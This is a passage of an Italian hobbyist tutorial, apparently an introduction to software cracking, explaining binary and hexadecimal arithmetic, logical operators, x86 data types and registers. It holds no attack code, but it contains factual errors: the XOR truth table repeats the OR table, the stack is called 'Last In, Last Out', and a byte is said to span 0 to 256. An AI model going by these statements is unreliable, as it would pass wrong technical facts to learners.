+ 9 <---????? e il nove? hehehe... vi hanno mai detto che per definizione qualunque numero elevato alla potenza zero fa sempre uno? Si'? Quindi... 129 = 1 * 10^2 + 2 * 10^1 + 9 * 10^0 = 1*100 + 2*10 + 9*1 = 129 :))) (se avete notato, la prima potenza del dieci e' il due, mentre il numero 129 ha tre cifre; praticamente si fa sempre cosi': si contano le cifre che compongono il numero, si sottrae uno al risultato, poi si numerano gli esponenti in modo decrescente a partire dal risultato ottenuto, fino ad arrivare allo zero). Facile no? No?... pensateci meglio... e' un concetto che utilizzate sempre per fare i conti... quindi se sapete fare una addizione ed una moltiplicazione, potete anche capire questo ragionamento (ahem... lo fanno i ragazzetti alle scuole elementari... :P) Quindi, ricapitolando, un sistema di numerazione, e' costituito da un numero di simboli pari a quelli della sua base, i numeri che esso rappresenta vengono 'sviluppati' come somma delle potenze della base moltiplicate per ogni cifra del numero, prese in ordine decrescente a seconda della posizione che esse occupano nel numero stesso. Tutto qui'... Ora non importa che siano 2, 8, 10 o 16 cifre, l'importante e' che sia acquisito questo concetto... :) Per quanto concerne l'aritmetica binaria, il sistema di numerazione e' lo stesso, con sole due cifre pero', lo zero e l'uno (voi vi chiederete perche' si utilizza proprio questo nei computer?... hehehe perche' e' l'unico sistema numerico rappresentabile con due soli stati: acceso o spento, corrente si', corrente no, uno o zero ;)) Un numero binario non e' altro che una sequenza di zero e uno: 1011011101 Piuttosto criptico... ma vediamo come e' possibile convertirlo in decimale. Come abbiamo gia' detto, anche in questo caso si tratta di un sistema di numerazione posizionale, solo che in questo caso la base e' il due, quindi il numero sara' rappresentato dalla somma delle potenza crescenti di due, moltiplicate per le cifre del numero: 1011011101(b) = 1*2^9 + 0*2^8 + 1*2^7 + 1*2^6 + 0*2^5 + 1*2^4 + 1*2^3 + + 1*2^2 + 0*2^1 + 1*2^0 = = 1*512 + 0*256 + 1*128 + 1*64 + 0*32 + 1*16 + 1*8 + + 1*4 + 0*2 + 1*1 = = 512 + 0 + 128 + 64 + 0 + 16 + 8 + 4 + 0 + 1 = 733(d) Convertire un numero decimale in binario è leggermente più difficoltoso. Bisogna trovare quelle potenze di due che, quando sommate tra loro, danno il valore del numero decimale. Il metodo più semplice consiste nel lavorare con la potenza di due più grande a decrescere fino alla potenza 'zero'. Consideriamo ad esempio il valore decimale 1359: · 2^10 = 1024, 2^11 = 2048, quindi 1024 è la potenza di due minore di 1359. Si sottrae 1024 da 1359 e si inizia il numero binario con un '1'. Binario ="1", decimale: 1359 - 1024 = "355". · La successiva potenza di due, è 2^9 = 512, ed è maggiore di 355, così si aggiunge Uno zero al numero binario e si prosegue. Binario = "10", decimale 355 · La potenza successiva e' 2^8 = 256 (minore di 355), si aggiunge un uno al numero Binario, si sottrae 256 a 355 (risultato 79) e si prosegue. Binario = "101", decimale 79. · 128 (2^7) è maggiore di 79, così si aggiunge uno zero alla stringa binaria binario = "1010", decimale rimane 79. · La successiva potenza di due (2^6 = 64) è minore di 79, così si inserisce un uno nel numero binario e si sottrae 64 a 79. Binario = "10101", resto decimale 15. · 15 è più piccolo di 32 (2^5) così si inserisce uno zero e si prosegue. Binario = "101010", decimale ancora 15. · 16 (2^4) è ancora maggiore di 15, quindi, si inserisce uno zero nella stringa e si prosegue. Binario = "1010100", decimale 15 · 2^3 (otto) è minore di 15, quindi, si inserisce un uno nella stringa e si sottrae 8 a 15. Binario = "10101001", resto decimale 7. · 2^2 è minore di sette, quindi si sottrae a sette e si aggiunge un uno alla stringa. Binario = "101010011", resto decimale 3. · 2^1 è minore di tre, quindi, si inserisce un uno nella stringa binaria e si sottrae due da tre. Binario = "1010100111", decimale, ora 1. · In fine il risultato decimale è uno (2^0), quindi si inserisce un uno alla fine della stringa binaria. Il risultato binario finale è: "10101001111". Semplice... (o Dio... mi sa che l'ho detta grossa :P), almeno teoricamente... poco pratico da utilizzare... ma questo passa la tecnologia, al momento... ;) (nota: l'esempio di conversione binario - decimale, l'ho spudoratamente scopiazzato dal libro "The Art of Assembly Language", pero' non vi lamentate visto che ve l'ho pure tradotto... ;)) Per quanto riguarda le operazioni effettuabili sui binari, sono definite tutte le stesse operazioni che si possono fare sugli altri sistemi di numerazione (decimale in primis). Faremo un esempio sulle addizioni, ma non andremo oltre, vabbe' la cultura, ma fare una trattazione completa sui sistemi di numerazione mi pare un po eccessivo. Le addizioni in binario sono identiche a quelle in decimale, solo che il 'riporto' scatta quando gia' si somma 1 + 1. Es. 1 1 1 1 1 0 1 0 + (Da dx a sx: 0+1 fa 1; 1+1 fa 10: 0 e riporto di 1; 1+1 fa 10: 0 e porto 1; 1 1 1 1 = 1+1 e 1 di riporto fa 11: 1 e porto 1; -------------- 1+1 fa 10) 1 0 1 0 0 1 Per quanto concerne la sottrazione, le regole sono identiche, tranne che al 'prestito della decina' si sostituisce il prestito dell'uno, e il numero che presta diventa zero (viene sottratto di uno, tutto qui'). Idem per divisioni, moltiplicazioni, e operazioni derivate da queste (elevamento a potenza, radici ennesime, ecc.). Penso che non sia necessario descrivere anche la conversione decimale - binario, visto che non credo che tra voi ci sia qualche folle che abbia intenzione di mettersi a convertire numeri da una base all'altra 'a mano'. ;) -= 2 =- -= CENNI DI ARITMETICA ESADECIMALE =- L'aritmetica esadecimale (hex, con un abuso di linguaggio) si fonda sugli stessi principi che abbiamo visto con il sistema di numerazione binaria, la sola differenza e' data dalla presenza di sedici cifre. Noi abbiamo solo dieci simboli numerici, e allora come facciamo? Facile, utilizziamo come 'cifre' le prime sei lettere dell'alfabeto, otteniamo quindi che il sistema esadecimale e' composto dalle cifre: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f. Come sempre, la base e' sedici, e i numeri si rappresentano come somma delle potenza decrescenti della base, moltiplicate per le cifre che costituiscono il numero. 13af(h) = 1*16^3 + 3*16^2 + a*16^1 + f*16^0 Con l'accortezza di tenere presente che: a = 10, b = 11, ... , f = 15. Nel nostro caso, quindi: 1*4096 + 3*256 + 10*16 + 15*1 = = 4096 + 768 + 160 + 15 = 5039(d) Il 'contare' in questa numerazione, segue queste regole: 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f, 10, 11, ... 1a, 1b, ... 1f, 20, ... 1ff, 200, ... 1fff, 2000, ... e cosi' via, in parole povere la "esa-decina" scatta dopo cinque numeri in piu' rispetto al sistema decimale. Le operazioni, sono tutte definite, e seguono le stesse regole che abbiamo gia' visto. Per la addizione, il riporto scatta al raggiungimento del numero 'f': ad12 + fe10 = 11 ad12 + (2+1 fa 3; 1+1 fa 2; d+d fa 1a, scrivo 'a' e riporto 1; f+e fa 1c e 1 di riporto, 1d) fe10 = -------- 1da23 Stesso procedimento si applica per le altre operazioni, sempre con l'accortezza di tenere presente che, non si 'arriva' a dieci ma a sedici. Sono sicuro che nessuno di voi si mettera' mai a fare operazioni di questo tipo 'a mano', visto e considerato che esistono calcolatrici che permettono di fare questi conti molto velocemente, pero', una trattazione dei metodi di numerazione diverse da quelle che siamo abituati ad utilizzare, mi sembrava doverosa, per completezza del testo. -= 3 =- -= CONVERSIONI BINARIO - ESADECIMALE =- Passiamo ora ad una parte piu' semplice: le conversioni di base. Anche in questo caso, non vi servira' effettivamente a molto, visto che le macchinette calcolatrici (anche quella del windoze) lo fanno per voi, ma sapere come funziona una determinata cosa, e' molto piu' bello di farla 'a pappagallo'... o no?! ;) Tratteremo solo la conversione binaria esadecimale e viceversa, visto che come passare al sistema decimale, da questi ultimi, lo abbiamo gia' visto nei paragrafi precedenti. Vi inserisco la seguente tabella: ____________________________ | BINARIO | ESADECIMALE | | 0001 | 01 | | 0010 | 02 | | 0011 | 03 | | 0100 | 04 | | 0101 | 05 | | 0110 | 06 | | 0111 | 07 | | 1000 | 08 | | 1001 | 09 | | 1010 | 0A | | 1011 | 0B | | 1100 | 0C | | 1101 | 0D | | 1110 | 0E | | 1111 | 0F | |______________|_____________| tab. 1.1 La conversione binario - esadecimale e viceversa, e' molto semplice, basta prendere il numero binario, suddividerlo a gruppi di quattro bit da destra verso sinistra, colmare l'ultimo gruppetto a sinistra con il necessario numero di zeri, e poi convertire ogni gruppetto di bit con la tabella in alto. Es. 101101010101101b = 101 1010 1010 1101 = 0101 1010 1010 1101 ^ Zero immesso = 0101 -> 5 1010 -> A 1010 -> A 1101 -> D = 5AADh Semplice non trovate? In modo del tutto analogo, si passa dall'esadecimale al binario, vi risparmio l'esempio, tanto se non avete capito, hehehe... il cracking non fa per voi ;) Andiamo avanti con alcune precisazioni, scrivendo i numeri binari, decimali, esadecimali, avrete sicuramente notato, che lo ho fatti seguire da un suffisso, quest'ultimo serve per identificare velocemente il tipo di numerazione in cui il numero e' rappresentato. Chiaramente: d = decimale, b = binario, h = esadecimale, o = ottale e cosi' via. Nota: (*) Attualmente, far seguire un valore esadecimale con una 'h' è una convenzione utilizzata dalla Intel, non una convenzione generale. L'assembler del 68000 e del 65c816 usati nei Machintosh e negli Apple II denota i numeri esadecimali facendoli precedere dal simbolo '$'. Vengono utilizzate anche altre convenzioni, quali ad esempio quella di indicare gli esadecimali facendoli precedere dal simbolo 0x (ma questa e' piu' una convenzione utilizzata dai programmatori) Per quanto ci riguarda, non useremo prefissi e suffissi se il contesto di utilizzo sara' univoco, mentre in caso di equivoci, utilizzaremo i suffissi descritti sopra. -= 4 =- -= OPERAZIONI LOGICHE FONDAMENTALI =- In questo paragrafo affronteremo il problema delle operazioni logiche tra i bit, cio' che impareremo ci tornera' molto utile successivamente, quando affronteremo istruzioni assembler del tipo and eax, ebx :) Gli operatori logici che impareremo ad usare sono i seguenti: AND, OR, NOT e XOR, ce ne sarebbero altri, ma non serve commentarli, visto che non vengono utilizzati dalle CPU intel x86. AND: L'and e' la prima delle operazioni logiche, e' una operazione detta diadica, che vuol dire che accetta solo due operandi, le possibili combinazioni si riducono alle seguenti: 0 and 0 = 0 0 and 1 = 0 1 and 0 = 0 1 and 1 = 1 Tecnicamente, l'operazione verivica i due bit, e fornisce un risultato 'vero' (pari ad 1) solo se entrambe le condizioni sono verificate. Di semplice utilizzo e facile comprensione e' la seguente tabella, detta tabella di verita': AND | 0 1 ----+------ 0 | 0 0 | 1 | 0 1 La tebella, si legge esattamente come una tabella a doppia entrata (tipo le tabelline che c'erano una volta sull'ultima pagina dei quaderni delle scuole elementari :)) OR: Altra operazione logica, l'or, anch'essa di semplice comprensione: 0 or 0 = 0 0 or 1 = 1 1 or 0 = 1 1 or 1 = 1 praticamente, significa 'o l'uno o l'altro', verificata se almeno uno dei due bit e' vero (impostato su 1) o se sono veri entrambi, mai se sono entrambi falsi. Anche in questo caso abbiamo la tabella di verita': OR | 0 1 ----+------ 0 | 0 1 | 1 | 1 1 Di facile comprensione anche in questo caso. NOT: Operazione logica di tipo monadica, cioe' ad un solo operando: NOT 0 = 1 NOT 1 = 0 Non fa altro che 'negare' l'operando, che viene invertito di significato. Anche in questo caso vi mostro la tabella di verita': NOT | 0 1 ----+------ | 1 0 XOR: L'ultima della serie, ma la piu' utilizzata in campo di programmazione asm e' lo xor, detto anche or esclusivo (eXclusive OR): 0 XOR 0 = 0 1 XOR 0 = 1 0 XOR 1 = 1 1 XOR 1 = 0 Questa operazione non fa altro che controllare lo stato dei due operandi, e ritornare risultato vero (1) se entrambi sono diversi, mentre ritorna risultato falso se gli operandi sono uguali. Tabella di verita': OR | 0 1 ----+------ 0 | 0 1 | 1 | 1 1 Queste erano le quattro operazioni logiche fondamentali, vedremo in seguito come vengono utilizzate in realta', per il momento posso farvi, un esempio, premettendo, che tali operazioni vengono effettuate su coppie di sequenze di bit della stessa dimensione (bytes, words, doublewords, e cosi' via): consideriamo i due valori esadecimali 0Ah e 09h, per vedere come le operazioni logiche operano su questi, convertiamoli in binario: 0Ah = 1010 09h = 1001 proviamo ora ad eseguire su questi due numeri binari una delle operazioni logiche viste: 1010 AND 1001 (che sarebbe poi, 0A AND 09) l'operazione si effetua allo stesso modo delle operazioni algebriche (somma, differenza, ecc.) cioe' incolonnando gli operandi: 1010 and seguendo la tabella di verita' che 1001 abbiamo visto in precedenza (da dx a sx): --------- 0 and 1 = 0; 1 and 0 = 0; 0 and 0 = 0; 1 and 1 = 1 quindi otteniamo come risultato: 1000, che riconvertito in esadecimale da: 08h In sintesi, 0Ah and 09h = 08h. (Controllate con la calcolatrice di windoze... ;)) Esattamente allo stesso modo vengono eseguite le operazioni logiche sui dati all'interno della CPU di un computer. Se siete ancora curiosi di vedere come funzionano queste operazioni, provate ad esercitarvi carta e penna, e poi confrontate i risultati ottenuti con quelli che vi dara' la calcolatrice di windows (o una calcolatrice scientifica). Per concludere questo paragrafo, vi mostro un altro esempio, questa volta con un operatore logico che e' molto utilizzato nei meccanismi di prtezione del software, lo XOR. riprendiamo gli stessi numeri dell'esempio precedente: 0Ah e 09h convertiamoli in binario e xoriamoli: 1010 xor 1001 = 0 xor 1 = 1; 1 xor 0 = 1; 0 xor 0 = 0; 1 xor 1 = 0; risultato: 0011b = 03h. Visto cosi' puo' sembrare semplice, ma vi assicuro che nel mezzo del flusso di un programma e' piu' complicato ;) Con questo esempio e' tutto per questo paragrafo. Andiamo ora a vedere i tipi di dati che vengono utilizzati nei processori intel... -= 5 =- -= TIPI DI DATI UTILIZZATI NELLE CPU 80x86 INTEL =- Il tipo di dato utilizzato nel processore e' il tipo binario, poiche' come abbiamo visto, e' l'unico sistema di numerazione che puo' essere rappresentato con due soli stati: 0 e 1, nel caso delle apperecchiature elettroniche corrente no, corrente si' (per la precisione, nelle apparecchiature digitali, non si parla di assenza di corrente, per la rappresentazione dello zero, vengono fissati dei valori limite, ad esempio, da zero a tre volt vuol dire zero, da tre a sei volt uno, piu' o meno su questa falsa riga). La cosa bella pero' e' che, nonostante questa grave limitazione, all'interno del computer, mediante questo tipo di sitema, possono essere rappresentati praticamente tutti i tipi di dati immaginabili, tutto cio' grazie alla flessibilita' del sistema binario. Chiaramente esisteranno dei limiti, come ad esempio l'impossibilita' di rappresentare numeri piu' grandi di un dato valore (overflow), piu' piccoli di una data frazione (epsilon macchina) o numeri cosi' detti 'reali', costituiti, cioe', da infinite cifre non periodiche dopo la virgola (in questo caso si parla di arrotondamento o nei casi peggiori di troncamento) pero' mediante tutti gli accorgimenti e tutti gli studi effettuati dagli analisti e dai progettisti, questi problemi sono conosciuti e quindi superabili, ma c'e' da dire che noi in questo tutorial non ci troveremo mai difronte alla necessita' di dover analizzare un 'errore di round off' (se c'e' qualche ingegnere tra voi, sa cosa voglio dire ;)) questa piccola introduzione e' solo per darvi un'idea di cio' che succede in realta' nei mendri di un computer, e di quanti problemi devono tenere presente coloro che producono le apparecchiature hardware o le applicazioni software (quindi, prima di criticare un programmatore, se trovate un bug all'interno di un programma, chiedetevi: "io ci sarei riuscito a valutare tutti questi imprevisti?" ;)) Come il mio solito, sto divagando... eh si' mi piace divagare chi mi conosce lo sa benissimo... torniamo ad i nostri dati. Poiché gli 80x86 (a successivi) lavorano con gruppi di otto bits (e loro multipli), sarà per noi molto più semplice aggiungere gli zero a tutti i numeri binari per farli diventare di quattro o otto cifre. Quindi, seguendo questa convenzione, rappresenteremo il numero cinque come 0101 oppure come 00000101. Negli Stati Uniti, lo maggior parte della gente separa ogni tre cifre con una virgola, per rendere i numeri più grandi più semplici da leggere. Per esempio, 1,023,435,208 è più semplice da leggere e comprendere rispetto a 1023435208. Adotteremo una convenzione simile in questo testo per i numeri binari. Separeremo ogni gruppo di quattro bits con uno spazio. Per esempio, il valore binario 1010111110110010 sarà scritto: 1010 1111 1011 0010. Molto spesso, inseriamo diversi valori insieme nello stesso numero binario. E' il caso di una forma dell'istruzione MOV dell'80x86 (vedi appendice D), la sua codifica: 1011 0rrr dddd dddd inserisce tre diversi argomenti in sedici bits: il codice operando di cinque bits (10110), tre bits per il campo registro (rrr), e otto bits per il valore immediato (dddddddd). Per convenienza, numereremo ogni posizione dei bits, come segue: 1) Il bit più a destra nella stringa binaria ha posizione Zero. 2) Ad ogni bit a sinistra è dato un numero successivo. Un numero binario di otto bits, usa i bits da zero a sette: x7 x6 x5 x4 x3 x2 x1 x0 Mentre uno a sedici bits, usa i bits da quindici a zero: x15 x14 x13 x12 x11 x10 x9 x8 x7 x6 x5 x4 x3 x2 1x1 x0 Il bit zero è solitamente indicato come 'bit meno significativo' mentre quello all'estrema sinistra è indicato come 'il bit più significativo'. Quelli intermedi saranno indicati con il loro numero d'ordine. Abbiamo gia detto che il piu' piccolo dato rappresentabile all'interno di un processore 80x86 e' il Bit, in ordine di grandezza, immediatamente dopo il bit troviamo il nibble. Un nibble è un insieme di quattro bit. Esso non costituisce una struttura dati interessante, eccetto che per due tipi di dato: BCD Binary Coded Decimal (codifica binaria dei decimali) e per gli esadecimali. Utilizza quattro bit per rappresentare un singolo BCD o un Numero esadecimale. Nel caso dei numeri esadecimali, i valori 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E ed F sono rappresentati con quattro bit (cfr § 3) BCD usa dieci cifre differenti (0, 1, 2, 3, 4, 5, 6, 7, 8, 9) e richiede quattro bit. Infatti, ogni tipo di dato costituito da sedici distinti valori può essere rappresentato con un nibble, ma esadecimali e BCD sono i tipi principali che verranno rappresentati con un singolo nibble. Senza dubbio, la più importante struttura dati usata dai microprocessori 80x86 è il byte. Un byte è un insieme di otto bit, ed è il più piccolo datum (data item) indirizzabile dei processori 80x86. Gli indirizzi della memoria e del sitema di I/O degli 80x86 sono tutti codificati mediante byte. Ciò significa che il più piccolo dato su cui si possa accedere singolarmente mediante un programma per 80x86 è un valore di otto bit. L'accesso a qualsiasi dato più piccolo, richiede comunque la lettura del byte che lo contiene e il mascheramento dei bit non necessari. I bit in un byte sono normalmente numerati da zero a sette utilizzando la convenzione mostrata in figura 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ | | | | | | | | | |__|__|__|__|__|__|__|__| Il bit 0 è il low order bit o bit meno significativo, il bit 7 è l'high order bit o bit più significativo. Si farà riferimento a tutti gli altri bit mediante il loro numero. I nibble da 0 a 3 costituiscono il low order nibble (nibble di ordine minore), i bit da 4 a 7 il high order nibble (nibble di ordine maggiore). Poichè un byte contiene esattamente due nibble, un byte richiede due cifre esadecimali. 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ |..|..|..|..| | | | | |__|__|__|__|__|__|__|__| _____!_____ _____!_____ H.O. nibble L.O. nibble Poichè un byte contiene otto bit, esso può rappresentare due alla otto, cioè 256, differenti valori. Generalmente, si usa un byte per rappresentare i numeri da 0 a 256, i signed (interi) da -128 a +127 codici caratteri ASCII/IBM ed altri tipi particolari di dati che richiedono meno di 256 valori differenti. La maggior parte dei dati ha meno di 256 valori, quindi otto bit sono sufficienti. Poichè l'80x86 è una macchina con byte indirizzabili ne viene fuori che è più efficiente manipolare un intero byte, piuttosto che un solo bit o nibble. Per questa ragione, la maggior parte dei programmatori usano un intero byte per rappresentare i tipi di dato che richiedono meno di 256 valori, anche se inferiori, otto bit risultano sufficienti. Per esempio, si può spesso rappresentare i valori booleani vero e falso mediante 00000001 e 00000000 (rispettivamente). Probabilmente, l'utilizzo più importante per un byte è la codifica di un codice carattere. I caratteri digitati dalla tastiera, visualizzati sullo schermo, o stampati dalla stampante, hanno tutti un valore numerico. Per permettere la comunicazione con 'il resto del mondo' i PC IBM usano una variante del set di caratteri ASCII. Ci sono 128 codici definiti nel set di caratteri ASCII, l'IBM utilizza i rimanenti 128 possibili valori per codificare i caratteri estesi, inclusi i caratteri europei, i simboli grafici, le lettere greche ed i simboli matematici. Continuando nel nostro viaggio all'interno dei tipi di dati, incontriamo le word. Una word (parola) è un gruppo di sedici bit. I bit verranno numerati a partire da zero fino a quindici. La numerazione dei bit appare qui in figura: 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ | | | | | | | | | | | | | | | | | |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__| Come per il byte, il bit zero è il Low Order bit (bit meno significativo) ed il bit 15 è l'High Order bit (bit più significativo). Si farà riferimento agli altri bit in una word utilizzando il loro numero di posizione. Da notare che una word contiene esattamente due byte. I bit da 0 a 7 formano il Low Order byte (byte meno significativo), i bit da 8 fino a 15 formano l'High Order byte (byte più significativo) vedere figura: 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ |..|..|..|..|..|..|..|..| | | | | | | | | |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__| ________!______ _______!______ High Order Byte Low Order Byte Analogamente, una word puo' essere suddivisa in nibbles, cosi' otteniamo, che i bit da 15 a 12, da 11 a 8, da 7 a 4 e da 3 a 0, costituiscono quattro nibbles, di cui quella formata dai bit da 15 a 12 e' detta High Order Nibble, mentre quella formata dai bit da 3 a 0, Low Order Nibble. 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ |..|..|..|..| | | | |..|..|..|..| | | | | |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__| | __!___ __!___ | _____!_____ Nibble Nibble _____!_____ H.O. Nibble L.O. Nibble Le words possono rappresentare i valori interi nel range 0...65.535 o -32.768...+32.767. I valori in modulo sono rappresentati dal valore binario corrispondente ai bit nella word. I numeri interi (quelli col segno) usano il complemento a due del valore numerico (vedere "Numeri positivi e negativi" a pag. xx). I valori di segmento, che sono sempre lunghi sedici bit, costituiscono il paragraph address (l'indirizzo di paragrafo) del codice, dati, extra, o segmenti di stack (pila) in memoria. Alla fine del nostro 'excursus' troviamo le DoubleWords, che come il nome suggerisce, non sono altro che una coppia di words. I bit che la costituiscono sono numerati come di consueto: 31 30 29 28 27 26 25 24 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ | | | | | | | | | ... | | | | | | | | | |__|__|__|__|__|__|__|__| |__|__|__|__|__|__|__|__| Ogni Dword (per semplicita' vengono cosi' chiamate) sono costituite da 32 bit, e possono essere anche loro suddivise in due word, quattro bytes o otto nibbles, anche questi identificati come L.O. Word, H.O. Word, o L.O. Byte, H.O. Byte e cosi' via (vi rimando a testi piu' specialistici per i dettagli di questo genere, altrimenti esuleremmo troppo dallo scopo del presente tutorial). Le double words possono rappresentare molteplici valori, tra cui spiccano, i naturali (unsigned) nel range 0 ... 4.294.967.295 oppure i numeri interi (signed) nel range -2.147.483.648 ... +2.147.483.647. -= 6 =- -= STRUTTURA E TIPOLOGIA DEI REGISTRI NELLE CPU 80x86 =- In questo paragrafo (l'ultimo per questo numero), daremo uno sguardo veloce alla strutturazione e alle funzioni dei registri delle cpu 80x86, senza addentrarci troppo in nozioni che andrebbero al di la' dello scopo del testo, iniziamo col dire che la diffenza fondamentale tra le cpu successive all'80x86 (80286, 80386, 80486, Pentium, ecc.) sta non tanto nella tipologia di registri utilizzati, visto che per garantire la compatibita' software tra processori successivi, si tende a migliorare altri aspetti nelle 'generazioni' successive, quanto alle dimensioni fisiche dei registri. Nell'80x86 lavoravamo con registri a 16 bit che erano identificati menemonicamente da sigle (ax, bx, cx, ecc.) nei processori successivi, si e' iniziato ad utilizzare registri di dimensione doppia (32 bits) con la conseguente necessita' di identificarli con nomi diversi, EAX, EBX, e cosi' via (E sta per Enanced ;)). Ognuno di questi registri puo' essere suddiviso in due parti: __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ |..|..|..|..|..|..|..|..| | | | | | | | | |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__| ____!_____ _____!_____ Parte Alta Parte Bassa Per permettere una migliore gestione dei dati in essi contenuti. Per distinguerli vengono utilizzate le lettere H ed L nel nome del registro, al posto della X, cosi', ad esempio, il registro AX, diviene AH, per la sua parte alta, e AL per la sua parte bassa. Una cosa piu' o meno analoga, avviene all'interno dei registi delle cpu successive (gli Enanced) solo che sempre per ragioni di compatibilita' e' possibile intervenire solo sulle parti alte e basse dei primi sedici bit dei trentadue totali di cui e' costituito tutto il registro: 31 30 29 28 ... 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ | | | | | ... |..|..|..|..|..|..|..|..| | | | | | | | | |__|__|__|__| |__|__|__|__|__|__|__|__|__|__|__|__|__|__|__|__| _____!_____ ____!_____ _____!_____ Altra Parte Parte Alta Parte Bassa del registro Dopo questo piccolissimo excursus, veniamo al dunque, e cioe' illustriamo nomi e funzioni di tutti i registri contenuti nella CPU: ----------------------------------------------------------------------- Legenda: EAX [AX] | | | Nome registro nelle vecchie CPU | Nome registro Enanced ----------------------------------------------------------------------- EAX [AX] ... Registro accumulatore (come suggerisce il nome), tutti i risultati delle operazioni effettuate sui dati, o delle operazioni di Input/Output vengono stoccate in questo registro. EBX [BX] ... Detto registro Base, viene utilizzato solitamente come puntatore ad una locazione di memoria. ECX [CX] ... Registro Contatore, viene, spesso, utilizzato nei cicli e contiene dei valori che vengono decrementati od incrementati a seconda delle esigenze (proprio come avviene all'interno di un ciclo di tipo 'for' con la variabile di controllo). EDX [DX] ... Ha funzioni simili al registro ECX. Tutti questi registri, vengono definiti Registri 'General Pourpose' proprio per la loro flessibilita', e vengono utilizzati per tutte le operazioni che devono essere effettuate sui dati in corso di elaborazione da parte della CPU. Vediamo ora un'altra tipologia di registri, i registri di Segmento (Segment registers), registri che vengono utilizzati dal processore per individuare le aree della memoria del computer dove vengono stoccati i dati che devono essere manipolati: CS ... Code Segment, registro in cui e' contenuto il segmento di memoria in cui e' memorizzato il codice del programma che e' in esecuzione. DS ... Data Segment, segmento della memoria che contiene i dati che devono essere elaborati, la cpu, accede a questa area di memoria in lettura. ES ... Extra Segment, segmento in cui vengono scritti dalla cpu i dati appena elaborati SS ... Stack Segment, individua un'area di memoria che serve per lo stoccaggio temporaneo di dati detta Stack (Pila) all'interno della quale le operazioni di immissione e prelievo (Push e Pop) vengono effettuate mediante la regola LILO (Last In, Last Out) cioe', l'ultimo ad entrare e' l'ultimo ad uscire. (Immaginate per semplicita' una pila di monetine, se volete prendere la monetina piu' in basso, dovete prima togliere da sopra di essa, tutte le altre monete... beh, le pile nella memoria funzionano esattamente cosi' ;)). C'e' da dire che nelle generazioni di processori successive, sono stati aggiunti altri due registri di segmento: FS e GS, che svolgono funzioni simili a quelle appena illustrate. Come potete vedere, questi registri, sono rimasti identici a quelli delle vecchie cpu 80x86. Vediamo ora altri registri: EIP [IP] ... (Enanced) Istruction Pointer, registro che contiene l'indirizzo di memoria dell'istruzione successiva in esecuzione. Detto anche, dagli informatici, registro Prossima Istruzione. ESI [SI] ... (Enanced) Source Index, registro che viene utilizzato per puntare una data locazione di memoria all'interno di un segmento, in sistesi, la cpu, preleva i dati dalle locazioni di memoria date dalla combinazione DS:ESI e le va a scrivere nelle locazioni individuate da ES:ESI. EDI [DI] ... (Enanced) Destination Index, viene anche esso utilizzato come puntatore ad una locazione di memoria all'interno di un segmento, normalmente individuato da ES, (ES:EDI). EBP [BP] ... (Enanced) Base Pointer, puntatore alla base dello stack, in pratica, questo registro, combinato con lo Stack Segment, individua la locazione di memoria che contiene il primo dato immesso all'interno della pila (la sua base). ESP [SP] ... Extra Sensorial Percep...ops!! :P Volevo dire, (Enanced) Stack Pointer, registro che, sempre in combinazione con SS (SS:ESP o, nel caso precedente, SS:EBP) punta alla locazione di memoria dello stack che contiene il dato che vera' estratto mediante un'operazione di pop (ultimo della pila). In ultimo, troviamo un registro particolare, il registro EFLAGS, che praticamente e' costituito da una sequenza 32 di bit, ognuno dei quali individua uno stato particolare del processore, a seconda che sia settato o meno (1 o 0). 31 0 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |x|x|x|x|x|x|x|x|x|x|I|V|V|A|V|R|x|N|I|O|D|I|T|S|Z|x|A|x|P|x|C| |x|x|x|x|x|x|x|x|x|x|D|I|I|C|M|F|x|T|O|F|F|F|F|F|F|x|F|x|F|x|F| |x|x|x|x|x|x|x|x|x|x| |P|F| | | |x| |P| | | | | | |x| |x| |x| | |x|x|x|x|x|x|x|x|x|x| | | | | | |x| |L| | | | | | |x| |x| |x| | \_________________/ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Riservati | | | | | | | | | | | | | | | | | | | | | ID Flag ------------+ | | | | | | | | | | | | | | | | | | | | Virtual Int Pending --+ | | | | | | | | | | | | | | | | | | | Virtual Int Flag -------+ | | | | | | | | | | | | | | | | | | Alignment Chek -----------+ | | | | | | | | | | | | | | | | | Virtual 8086 Mode ----------+ | | | | | | | | | | | | | | | | Resume Flag ------------------+ | | | | | | | | | | | | | | | Riservato ----------------------+ | | | | | | | | | | | | | | Nested Task ----------------------+ | | | | | | | | | | | | | I/O Privilege Level ----------------+ | | | | | | | | | | | | Overflow Flag ------------------------+ | | | | | | | | | | | Direction Flag -------------------------+ | | | | | | | | | | Interrupt Enable Flag --------------------+ | | | | | | | | | Trap Flag ----------------------------------+ | | | | | | | | Sign Flag ------------------------------------+ | | | | | | | Zero Flag --------------------------------------+ | | | | | | Riservato ----------------------------------------+ | | | | | Auxiliary Carry Flag -------------------------------+ | | | | Riservato --------------------------------------------+ | | | Parity Flag --------------------------------------------+ | | Riservato ------------------------------------------------+ | Carry Flag -------------------------------------------------+ Per i dettagli sulle funzioni di tutti questi flags, vi rimando a testi specialistici sull'argomento, a noi, ed ai nostri fini, non interessano, visto che utilizzaremo al massimo lo Zero Flag, nelle nostre 'scorribande' all'interno dei programmi, io li ho inseriti per completezza di trattazione, sta a voi approfondire, se l'argomento vi puo' incuriosire o interessare. 